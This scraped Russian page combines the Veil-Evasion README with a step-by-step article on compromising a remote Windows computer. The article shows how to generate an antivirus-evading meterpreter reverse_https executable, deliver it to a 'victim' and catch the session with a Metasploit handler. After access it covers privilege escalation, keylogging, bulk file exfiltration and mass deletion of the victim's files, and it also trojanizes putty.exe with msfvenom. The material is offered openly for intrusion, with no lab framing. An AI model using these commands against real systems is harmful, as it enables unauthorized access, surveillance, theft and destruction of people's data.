Veil evasion kali linux

Saved searches

Use saved searches to filter your results more quickly

You signed in with another tab or window. Reload to refresh your session. You signed out in another tab or window. Reload to refresh your session. You switched accounts on another tab or window. Reload to refresh your session.

Veil-Evasion is a tool used to generate payloads that bypass antivirus solutions

Chewvala/veil-Evasion

This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.

Name already in use

A tag already exists with the provided branch name. Many Git commands accept both tag and branch names, so creating this branch may cause unexpected behavior. Are you sure you want to create this branch?

Sign In Required

Please sign in to use Codespaces.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching GitHub Desktop

If nothing happens, download GitHub Desktop and try again.

Launching Xcode

If nothing happens, download Xcode and try again.

Launching Visual Studio Code

Your codespace will open once ready.

There was a problem preparing your codespace, please try again.

Latest commit

Git stats

Files

Failed to load latest commit information.

README.md

Veil-Evasion is a tool designed to generate metasploit payloads that bypass common anti-virus solutions.

NOTE: ./setup/setup.sh should be re-run on every major version update. If you receive any major errors on running Veil-Evasion, first try re-running this script to install any additional packages and update the common configuration file.

Veil-Evasion is currently under active support by @ChrisTruncer, @TheMightyShiv, @HarmJ0y.

Windows (for Py2Exe compilation)

NOTE: Installation must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Run setup.sh -c on Kali x86.

Install Python 2.7, Py2Exe, PyCrypto, and PyWin32 on a Windows computer (for Py2Exe).

apt-get -y install git git clone https://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/ cd setup setup.sh -c

NOTE: This must be done with superuser privileges. If you are not using Kali Linux, prepend each command with sudo or change to the root user before beginning.

Most of the time the config file at /etc/veil/settings.py will not need to be rebuilt but in some cases you might be prompted to do so. The file is generated by config/update.py .

Читайте также:  Linux font cache update

It is important that you are in the config/ directory before executing update.py. If you are not, settings.py will be incorrect and when you launch Veil-Evasion you will see the following.

Main Menu 0 payloads loaded

Don’t panic. Enter the config/ dir and re-run update.py.

Veil-Evasion was designed to run on Kali Linux, but should function on any system capable of executing python scripts. Simply call Veil-Evasion from the command line, and follow the menu to generate a payload. Upon creating the payload, Veil-Evasion will ask if you would like the payload file to be converted into an executable by Pyinstaller or Py2Exe.

If using Pyinstaller, Veil-Evasion will convert your payload into an executable within Kali.

If using Py2Exe, Veil-Evasion will create three files:

  • payload.py — The payload file
  • setup.py — Required file for Py2Exe
  • runme.bat — Batch script for compiling the payload into a Windows executable

Move all three files onto your Windows machine with Python installed. All three files should be placed in the root of the directory Python was installed to (likely C:\Python27). Run the batch script to convert the Python script into an executable format.

Place the executable file on your target machine through any means necessary and don’t get caught!

This will start a listener on port 4242.

On the client side, you will need to run a client program. This can be a custom script or can be as simple as Netcat. The RPC server implements JSON-RPC. This is a good reference for interpreting requests and responses for JSON-RPC: http://json-rpc.org/wiki/specification

The RPC request format is as follows:

 method="version" - return the current Veil-Evasion version number method="payloads" - return all the currently loaded payloads method="payload_options" params="payload_name" - return the options for the specified payload method="generate" params=["payload=X", "outputbase=Y" "overwrite=Z", "msfvenom=. ", "LHOST=blah] - generate the specified payload with the given options and returns the path of the generated executable 

This is a simple example of working with Veil-Evasion using Netcat:

NOTE: The port for Veil-Evasion is 4242. This must be changed in client.py in order to work with it.

In order to generate a payload, ALL parameters must be included:

  • payload — which payload to generate
  • outputbase — the name to save the payload as
  • LHOST — the ip address for the listening host
  • LPORT — the port for the listening host
  • pwnstaller — True to package python programs into an executable. False if not. Ignored for other payloads
Читайте также:  Dr web linux сертифицированный

An example of generating a payload:

NOTE: If there is no id specified in the request, Veil-Evasion will shut down. That being said, you can make as many valid requests as you would like until Veil-Evasion shuts down.

To shut down the RPC server run:

About

Veil-Evasion is a tool used to generate payloads that bypass antivirus solutions

Источник

Статья Взлом удаленного компьютера, Veil-Evasion, Metasploit

В этой статье, будет подробно описан взлом удаленного компьютера с использованием Kali Linux, Veil-Evasion, Metasploit.

UPDATE:
Поддержка Veil-Evasion закончилась, рекомендуется использовать фреймворк Veil.
https://codeby.net/threads/veil-framework.60978/

Ниже представлена схема, по которой будет осуществляться проникновение.

upload_2016-7-26_15-33-33.png

Необходимые ресурсы:
1. Kali Linux (Я использовал Kali GNU/Linux Rolling)

2. Статический белый IP (В моем случае Kali находится за NAT роутера с статическим адресом. Подключение к нашей машине извне будут идти на 443 порт. (В роутере он проброшен на локальный адрес Kali.) Использующие динамический адрес могут использовать DyDNS. (Не пробовал, но должно работать)
3. Veil-Evasion – фреймворк, с помощью которого мы попытаемся обойти антивирус, создадим файл с полезной нагрузкой в формате .exe.

Для начала необходимо установить Veil-Evasion. Чтобы программа создавала корректно работающие файлы, не рекомендую установку apt-get install Veil-Evasion. Фреймворк нужно клонировать c github.com.
Выполните в терминале следующее:

apt-get -y install git git clone https://github.com/Veil-Framework/Veil-Evasion.git cd Veil-Evasion/ cd setup setup.sh -c

Следим за установкой, соглашаемся и все устанавливаем.

Запускаем файл Veil-Evasion.py из терминала или из папки /root/Veil-Evasion.

upload_2016-7-26_15-34-5.png

Далее вводим команду list – она покажет список доступных payload.

upload_2016-7-26_15-34-57.png

Нас интересует номер 32python/meterpreter/reverse_https

upload_2016-7-26_15-35-15.png

Задаем опции будущему файлу, вводим последовательно следующие команды:

set LHOST 83.199.12.XXX (Ваш публичный IP)

set LPORT 443 (По умолчанию HTTPS URL использует 443 TCP-порт (для незащищённого HTTP — 80).

set USE_PYHERION Y (используем энкриптор)

generate (создаем .exe файл)

Вводим имя создаваемого файла.

Выбираем вторую строку, жмем 2.

upload_2016-7-26_15-35-36.png

Ждем успешной генерации файла.

upload_2016-7-26_15-35-57.png

Созданный файл любым путем доставляем на компьютер жертвы. Весит немного, стандартными антивирусами Win7, Win8.1, Win10 не определялся.

Запускаем Metasploit.
#msfconsole

msf > use multi/handler msf exploit (handler) > set payload windows/meterpreter/reverse_https msf exploit (handler) > set LHOST (свой внутренний IP) msf exploit (handler) > set LPORT 443 msf exploit (handler) >exploit

Когда файл на компьютере жертвы будет запущен, вы увидите что открылась сессия meterpreter>.

Читайте также:  Arch linux btrfs install

upload_2016-7-26_15-37-23.png

Сразу советую мигрировать в другой процесс т.к. файл могут удалить, процесс завершится и т.д.

Делается это так, вводим:
ps – отобразится список активных процессов. Находим , например, explorer, смотрим его PID.

migrate (PID процесса).
Migration completed successfully.
Успех. Теперь необходимо повысить права в системе, команда:
getsystem (срабатывает не всегда.)
В целом поможет разобраться стандартная команда help.
Ниже пару моментов которые помогут быстрее освоиться в системе.

1. Кейлоггер
meterpreter > bgrun keylogrecorder

[*] Executed Meterpreter with Job ID 2
meterpreter > [*] Starting the keystroke sniffer.
[*] Keystrokes being saved in to /root/.msf4/logs/scripts/keylogrecorder/192.168.ххх.ххх_20111024.4455.txt #адрес лога
[*] Recording

meterpreter > bgkill 2 #отключаем кейлогер
[*] Killing background job 2.

2. Скрипт File_collector – позволит создавать список файлов имеющихся в определенном каталоге компьютера жертвы, редактировать его, и скачивать интересующие файлы себе.
Пример:
meterpreter > run file_collector -h
Затем создаем список файлов в одном каталоге:

run file_collector -r -d e:\\ -f * -o /root/ file.txt

Редактируем наш выходной файл, т.к. не все файлы нужны.
cat /root/file.txt | grep -v \DDD | grep -v \GCC | grep -v \GDB | grep -v \MAKE > file.lst

Скачиваем файлы на свой компьютер.

run file_collector -i /root /file.lst -l /root/

Полагаю не нужно обьяснять, что делают скрипты upload и download)

3. Используя скрипты scrapper и winenum можно собрать информацию о системе, которая сохранится на вашем локальном компьютере.

4. Удаление файлов. Команды вводятся в шелле.
Получаем его слудующим образом:
meterpreter >shell

Удаление файлов exe:
del e:\*.* /f /s /q

удаление файлов doc:
del e:\*.doc /f /s /q

удаление файлов pdf:
del e:\*.pdf /f /s /q

5. Командой приведенной ниже можно добавить payload в любой файл (определяется некоторыми антивирусами) При запуске на компьютере жертвы, откроется сессия meterpreter.

msfvenom -a x86 —platform windows -x putty.exe -k -p windows/meterpreter/reverse_tcp lhost=192.168.1.101 -e x86/shikata_ga_nai -i 3 -b «\x00» -f exe -o puttyX.exe

Краткое пояснение аргументов команды:
— a 86 — архитектура процессора.
—platform windows — тут понятно.
— x — указать пользовательский исполняемый файл для использования в качестве шаблона.
— k — сохранить поведение шаблона и ввести полезную нагрузку как новый поток.
— p — тип полезной нагрузки.
— e — тип енкодера.
— b — помечаем нулевой байт «плохим», то есть говорим, что его нужно избегать.
— f — формат выходного файла.

За пример взята putty находящаяся в директории /root.
LHOST и LPORT указываем свои.

Приведенный метод, хорошо справляется с взломом Win7, Win8, Win10, вопросы жду в комментариях. Если кто-то умеет криптовать файлы, интересно услышать его мнение.

Источник

Оцените статью
Adblock
detector